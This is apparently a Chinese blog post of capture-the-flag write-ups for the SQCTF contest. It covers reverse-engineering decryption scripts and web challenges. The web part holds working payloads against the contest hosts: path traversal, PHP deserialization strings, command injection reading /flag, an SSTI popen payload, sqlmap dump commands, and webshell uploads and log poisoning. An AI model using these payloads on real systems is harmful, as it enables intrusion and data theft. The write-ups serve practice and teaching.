天下谁人不识君

简单逆向爆破所有字符去做比较

 = 'wesyvbniazxchjko1973652048@$+-&*<>'
result = 'v7b3boika$h4h5j0jhkh161h79393i5x010j0y8n$i'

flag = ''

for i in range(0, len(result), 2):
    c1 = result[i]
    c2 = result[i+1]
    index = i // 2
    found = False
    for c in range(32, 127):
        s1 = c // 17
        s2 = c % 17
        e1 = s[(s1 + index) % 34]
        e2 = s[-(s2 + index + 1) % 34]
        if e1 == c1 and e2 == c2:
            flag += chr(c)
            found = True
            break
    if not found:
        flag += '?'  # 标记未匹配的字符

print('Recovered flag:', flag)

不劳春风解我忧

Xxtea_encrypt字符没有删除,猜测xxtea
V=是key
Block是密文

直接上板子出来了

#include <stdio.h>
#include <stdint.h>
#include <string.h>
 
#define DELTA 0x9e3779b9

 
void xxtea_decrypt(uint32_t *v, int n, uint32_t *key) {
    uint32_t y, z, sum;
    int p, rounds, e;
    rounds = 6 + 52 / n;
    sum = rounds * 0x9E3779B9;  
    y = v[0];
    do {
        e = (sum >> 2) & 3;
        for (p = n - 1; p > 0; p--) {
            z = v[p - 1];
            v[p] -= ((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4)) ^ ((sum ^ y) + (key[(p & 3) ^ e] ^ z));
            y = v[p];
        }
        z = v[n - 1];
        v[0] -= ((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4)) ^ ((sum ^ y) + (key[(p & 3) ^ e] ^ z));
        y = v[0];
        sum -= 0x9E3779B9;  
    } while (sum != 0);  
}
 
int main() {
    uint32_t key[4] = {0x12345678 ,0x9ABCDEF0 ,0xFEDCBA98 ,0x87654321};
    uint32_t data[] = {0x8F748963 ,0xCB1D96A8};
    int data_len = sizeof(data) / sizeof(data[0]);
 
    printf("Original Data:\n");
    for (int i = 0; i < data_len; i++) {
        printf("%u\n", data[i]);
    }
 
    xxtea_decrypt(data, data_len, key);
 
    printf("Decrypted Data (Printable Characters):\n");
    for (int i = 0; i < data_len; i++) {
        char c = (char)data[i];
       printf("%c%c%c%c",*((char*)&data[i]+0),*((char*)&data[i]+1),*((char*)&data[i]+2),*((char*)&data[i]+3));//这个地方也是很重要的
    }
    printf("\n");
 
    return 0;
}

即随本心

pyinstxtractor.py 即随本心.exe
丢在线网站
https://tool.lu/pyc/

简单看了一下,经过aes再经过base64
Key和iv都给了,直接上脚本

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import base64

# 给定的数据
expected_encrypted_data = 'MTIzNDU2Nzg5MGFiY2RlZpOn0SHxbVMvaa7jQztMCBtCCiuX+ZRBzSfcL01St5Bmi8BjGeuXliictrjqzSpCGw=='

# 解码base64
decoded_data = base64.b64decode(expected_encrypted_data)

# 提取IV和密文
iv = decoded_data[:16]  # 前16字节是IV
ciphertext = decoded_data[16:]  # 剩余部分是密文

# 使用相同的密钥
key = b'1234567890abcdef'

# 创建AES解密器
cipher = AES.new(key, AES.MODE_CBC, iv)

# 解密
padded_plaintext = cipher.decrypt(ciphertext)

# 去除填充
try:
    plaintext = unpad(padded_plaintext, AES.block_size)
    print("解密成功!Flag是:", plaintext.decode('utf-8'))
except ValueError:
    print("解密失败,可能是填充不正确")

唧唧复唧唧,木兰当户织

Ida打开看了一下有upx

Upx-d 唧唧复唧唧,木兰当户织.exe

查看代码,就一个base64

随波逐流SQCTF{xixibuxixi,mulandanghuzhi}把中文字改成英文字符

看山不是山

pyinstxtractor.py 看水不是水.exe
丢在线网站https://tool.lu/pyc/

可以看出是伪随机,没学过,ai一把梭

def decrypt(encrypted_data):
    result = []
    key = 439041101  # 0x1A2B3C4D
    for i in range(len(encrypted_data)):
        byte = encrypted_data[i]
        # 逆向加法操作
        byte = (byte - i) & 255
        # 逆向异或操作
        byte = (byte ^ (key >> ((i % 4) * 8))) & 255
        result.append(byte)
    return bytes(result)

# 目标加密数据
target = bytes.fromhex('738495a6b7c8d9e0f123456789abcdef')

# 解密得到原始输入
original_data = decrypt(target)
print("原始输入:", original_data)
print("十六进制:", original_data.hex())
SQCTF{3ebfb8b9fefff8c3a426104630a294fa}

击败abyssun

呜呜呜,被游戏逆向思维误导了
一直搁那搜血量,干了一个小时
后面搜红温了才想起来flag头固定
直接用CE搜SQCTF

拉下来改长度50

WEB

ezgame

抓包改成2048直接放行

MyBlog

扫目录扫出login.php

主页点github有个密码

Eeaassyy

新打开一个标签页,然后按下F12再把地址复制进去

嘿嘿嘿

ai分析代码,

绕过 md5($data->file) === md5("flag.php") 检查

使用 yyy 类对象作为 $data->file,因为 md5() 会调用 __toString(),而 yyy 的 __toString() 返回文件内容,不等于 md5("flag.php")。
绕过 strpos($data->file, 'php://') !== false 检查

确保 $data->file 不包含 php://,直接用 yyy 类读取 flag.php。
绕过 $data->content === "GET_FLAG" 检查

直接设置 $data->content = "GET_FLAG",触发 file_get_contents("flag.php")。
避免 hhh 类的干扰

如果 $data 是 hhh 类,可能会触发 __destruct() 导致写入文件失败,因此改用 stdClass 作为 $data。

data=O:3:"hhh":2:{s:4:"file";O:3:"yyy":2:{s:4:"path";s:8:"flag.php";s:7:"allowed";b:1;}s:7:"content";s:8:"GET_FLAG";}
改post请求
Data=O%3A8%3A%22stdClass%22%3A2%3A%7Bs%3A4%3A%22file%22%3BO%3A3%3A%22yyy%22%3A2%3A%7Bs%3A4%3A%22path%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A7%3A%22allowed%22%3Bb%3A1%3B%7Ds%3A7%3A%22content%22%3Bs%3A8%3A%22GET_FLAG%22%3B%7D

Through

题目提示Through,让ai写个路径穿越脚本

import requests
import re


def try_path_traversal(url, max_depth=10):
    headers = {
        "Host": "challenge.qsnctf.com:30734",
        "Upgrade-Insecure-Requests": "1",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
        "Accept-Encoding": "gzip, deflate",
        "Accept-Language": "zh-CN,zh;q=0.9,en-GB;q=0.8,en-US;q=0.7,en;q=0.6,zh-HK;q=0.5,zh-TW;q=0.4",
        "Connection": "close"
    }

    # 更新后的正则表达式模式
    flag_patterns = [
        r'qsctf\{[^}]+\}',
        r'QSCTF\{[^}]+\}',
        r'sqctf\{[^}]+\}',  # 新增这个模式
        r'SQCTF\{[^}]+\}',
        r'flag\{[^}]+\}',
        r'FLAG\{[^}]+\}'
    ]

    for depth in range(1, max_depth + 1):
        payload = "....//" * depth + "flag"
        params = {"file": payload}

        try:
            print(f"\n=== 尝试深度 {depth} ===")
            print(f"请求Payload: {payload}")

            response = requests.get(url, headers=headers, params=params)

            print(f"响应状态码: {response.status_code}")
            print("响应内容:")
            print("-" * 40)
            print(response.text)
            print("-" * 40)

            if response.status_code == 200:
                for pattern in flag_patterns:
                    matches = re.findall(pattern, response.text)
                    if matches:
                        print(f"\n[+] 发现flag格式内容:")
                        for match in matches:
                            print(match)
                        return True

                print("[*] 未检测到flag格式")
            else:
                print("[-] 请求未成功")

        except Exception as e:
            print(f"[!] 请求出错: {str(e)}")

    print("\n[!] 所有尝试完成")
    return False


if __name__ == "__main__":
    target_url = "http://challenge.qsnctf.com:30734/index.php"
    print(f"[*] 开始对 {target_url} 进行路径穿越测试...")
    try_path_traversal(target_url)
# sqctf{ddd0d90fd72245218ada79dfcddbe39f}

baby include

题目提示文件包含
分析代码发现过滤了php、data、filter、input等关键字
测速了一下,过滤了很多协议
但是尝试一下日志文件能获取

利用日志文件包含,在ua请求头加上一句话木马

用蚁剑链接得到flag

Upload_Level1

上传png后缀,用bp抓包,改成php后缀,添加一句话木马

上传完访问路径,用蚁剑链接

商师一日游


拼接/atc1acrd.html 得到sqctf{和/atc2cnzd.php

进入atc2cnzd.php提示把cookie改成ststrong得到3f98和atc3oklm.php

进入atc3oklm.php打开网络得到66bb3d和atc4zztg.php

进入atc4zztg.php提示进入robots.txt得到594b65a和atc5uupl.php


进入atc5uupl.php发现一个

使用使用php%0ax绕过得到4b8e3b04和/atc6ertg.php
进入atc6ertg.php 有个按钮把disabled去掉

得到c7fba

最后一个后门函数,用蚁剑链接

查看文件最后的flag

唯一

Wappalyzer分析python flask想到ssti

Fenjin一把梭

提交表单完成,返回值为200,输入为{'note': "{%set um=lipsum|escape|batch(22)|first|last%}{{((lipsumum+um+'globals'+um+umum+um+'i''mport'+um+um).popen('cat /f''lag')).read()}}"},表单为{'action': '/', 'method': 'GET', 'inputs': {'note'}}

Ai一把梭
这个题目的关键在于反序列化时对用户输入的 payload 做了简单的字符串替换过滤,只替换了 "flag" 和 "php" 这两个字符串,而并没有对其他内容做严格校验。只要构造一个合法的序列化对象,并让对象的属性 pswd 被赋值为 "escaping",就可以让 if 判断成立,从而输出 flag。
在 PHP 中,对象序列化后大概是这样的格式:
php-template
复制编辑
O::""::{<属性键值对>}
对于题目中给出的类 test,构造的 payload 可以如下:
css
复制编辑
O:4:"test":2:{s:4:"user";s:4:"test";s:4:"pswd";s:8:"escaping";}
解释如下:
• O:4:"test" 表示对象的类名是 "test",长度为 4。
• 2 表示这个对象有两个属性。
• s:4:"user";s:4:"test"; 表示属性名 "user"(长度为4)的值为 "test"(长度为4)。
• s:4:"pswd";s:8:"escaping"; 表示属性名 "pswd"(长度为4)的值为 "escaping"(长度为8)。
由于 payload 中没有出现 "flag" 或 "php" 这两个被过滤的字符串,所以 filter() 函数不会做替换,反序列化后生成的对象正好满足 if 判断条件,从而输出 flag。
你可以将这个 payload 作为 GET 参数传递,例如:
ruby
复制编辑
?payload=O:4:"test":2:{s:4:"user";s:4:"test";s:4:"pswd";s:8:"escaping";}
这样就能绕过过滤器获取 flag 了。

File_download

访问页面点击help.txt


根据页面的提示访问,泄露了Servlet程序的路由映射信息,我们可以直接访问拼接/FlagManager,根据com.ctf.flag.Flagmanager
得出下载文件的路径
http://challenge.qsnctf.com:32611/DownloadServlet?filename=WEB-INF/classes/com/ctf/flag/FlagManager.class
访问发现文件无法直接下载

尝试使用bp抓包
通过更改请求方式发现有数据回显

把他丢到拦截里放包
可以下载一个claas文件

丢到idea里

得到一个加密函数
简单看了一下一个int[]+38^48的操作
直接用Python逆向

key = [110, 107, 185, 183, 183, 186, 103, 185, 99, 105, 105, 187, 105, 99, 102, 184, 185, 103, 99, 108, 186, 107, 187, 99, 183, 109, 105, 184, 102, 106, 106, 188, 109, 186, 111, 188]

flag = []
for k in key:
    decrypted_char = (k ^ 48) - 38
    flag.append(chr(decrypted_char))

print("Flag:", ''.join(flag))

得到85caad1c-33e3-0bc1-6d5e-a73b044f7d9f
加上flag头就是flag

Ping

Ai一把梭

http://challenge.qsnctf.com:31140/?ip=127.0.0.1|cat+/flag

白月光


看到flask直接想到ssti fenjing一把梭
抓个包看表名name post请求

Fenjin一把梭

小小查询系统

题目提示sql,用sqlmap跑一遍确实有注入点

用sqlmap跑一下表名发现有ctf表
sqlmap -u 'http://challenge.qsnctf.com:32607/?id=1' –dbs


查询数据表名有flag列
sqlmap -u 'http://challenge.qsnctf.com:32607/?id=1' -D 'ctf' –tables

直接dump
sqlmap -u 'http://challenge.qsnctf.com:32607/?id=1' -D 'ctf' -T 'flag' –dump

RceMe

分析代码,允许小于5的字符执行
尝试cat ls不行,尝试nl /*可以绕过
http://challenge.qsnctf.com:31541/?com=nl%20/*

Input a number

要绕过检查,需要满足两个条件:传入的值不等于114514,但经intval($num, 0)转换后等于114514。利用PHP对进制自动识别的特性,使用十六进制或二进制形式的输入。
步骤解析:

  1. 第一个条件$num == 114514:PHP会将字符串转换为数字进行比较。对于十六进制字符串(如0x1BF52),PHP在松散比较时将其视为0(因为0x后的部分不被十进制识别),因此不等于114514。
  2. 第二个条件intval($num, 0):intval的第二个参数为0时会自动识别进制。十六进制0x1BF52会被正确转换为十进制114514。
    最终Payload:
    将sqctf参数设为十六进制的0x1BF52:
    复制
    ?sqctf=0x1BF52
    验证:
    • 0x1BF52作为字符串传入,松散比较时被转为0,不触发die。
    • intval("0x1BF52", 0)解析为114514,满足条件,输出flag。

Input a number

利用浮点数截断特性
PHP在处理字符串到数字的转换时,若字符串包含小数点(如114514.1),松散比较会将其视为浮点数,而intval会截断小数部分,保留整数部分。
http://challenge.qsnctf.com:30914/?sqctf=114514.1

Upload_Level2

上传png后缀,用bp抓包,改成php后缀,添加一句话木马

上传完访问路径,用蚁剑链接

无参之舞

新打开一个标签页,打开F12可以看到账号

密码爆破1q2w3e4r

进入得到一个rce测试网站经过很多测试,
经过很多测试,发现过滤了很多函数,先看看下面当前目录下面有什么文件
构造payload为:
http://challenge.qsnctf.com:30627/?exp=var_dump(scandir(%27.%27));

再使用函数file_get_contents函数获取文件内容
构造完整的payload为:
/?exp=?><?=file_get_contents('f'.'1'.'ag.p'.'hp')?>

baby rce

分析代码查看需要过两关才能获得flag
第一步:绕过SHA1比较
利用PHP的弱类型比较和数组参数使sha1($param1) == sha1($param2)成立。
将param1和param2作为数组传递,因为sha1()处理数组会返回null,此时null == null成立。
Payload
?param1[]=a¶m2[]=b

第二步:调用静态方法获取Flag
利用call_user_func调用TYctf类的静态方法getKey。
POST请求参数:传递payload为TYctf::getKey或数组形式。
payload=TYctf::getKey

哎呀大大大黑塔
提示传入一个参数,提示了大黑塔和官方唯一角色PV猜测为bv号

传进去直接传重定向一个网页

反序列化
Payload
data=O:6:"Secret":1:{s:3:"key";s:5:"SQCTF";}

Json

访问给了一段代码

Ai直接秒了
Payload = O:6:"Secret":1:{s:3:"key";s:5:"SQCTF";}

朗读
赞(1)
版权属于:

霍雅的博客

本文链接:

https://huoya.work/bk/index.php/archives/291/(转载时请注明本文出处及文章链接)

评论 (0)

人生倒计时

今日已经过去小时
这周已经过去
本月已经过去
今年已经过去个月